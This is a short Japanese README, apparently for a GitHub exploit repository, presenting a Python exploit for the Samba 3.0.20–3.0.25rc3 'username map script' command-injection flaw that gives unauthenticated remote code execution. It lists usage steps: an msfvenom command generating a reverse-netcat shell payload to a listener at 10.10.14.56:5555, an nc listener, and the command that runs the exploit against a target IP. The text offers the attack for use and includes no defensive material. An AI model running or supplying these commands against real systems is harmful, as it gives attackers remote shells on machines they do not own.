h3x0v3rl0rd/smb-usermapSamba 3.0.20-3.0.25rc3 の 'username map script' コマンドインジェクションに対する Python エクスプロイトで、未認証のリモートコード実行とリバースシェルを提供します。
このモジュールは、非デフォルトの "username map script" 設定オプションを使用している場合に、Samba バージョン 3.0.20 から 3.0.25rc3 におけるコマンド実行の脆弱性を悪用します。シェルのメタ文字を含むユーザー名を指定することで、攻撃者は任意のコマンドを実行できます。このオプションは認証前にユーザー名をマップするために使用されるため、この脆弱性を悪用するのに認証は必要ありません。
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.56 LPORT=5555 -f python
nc -nlvp 5555
python3 smbusermap.py <Target IP>
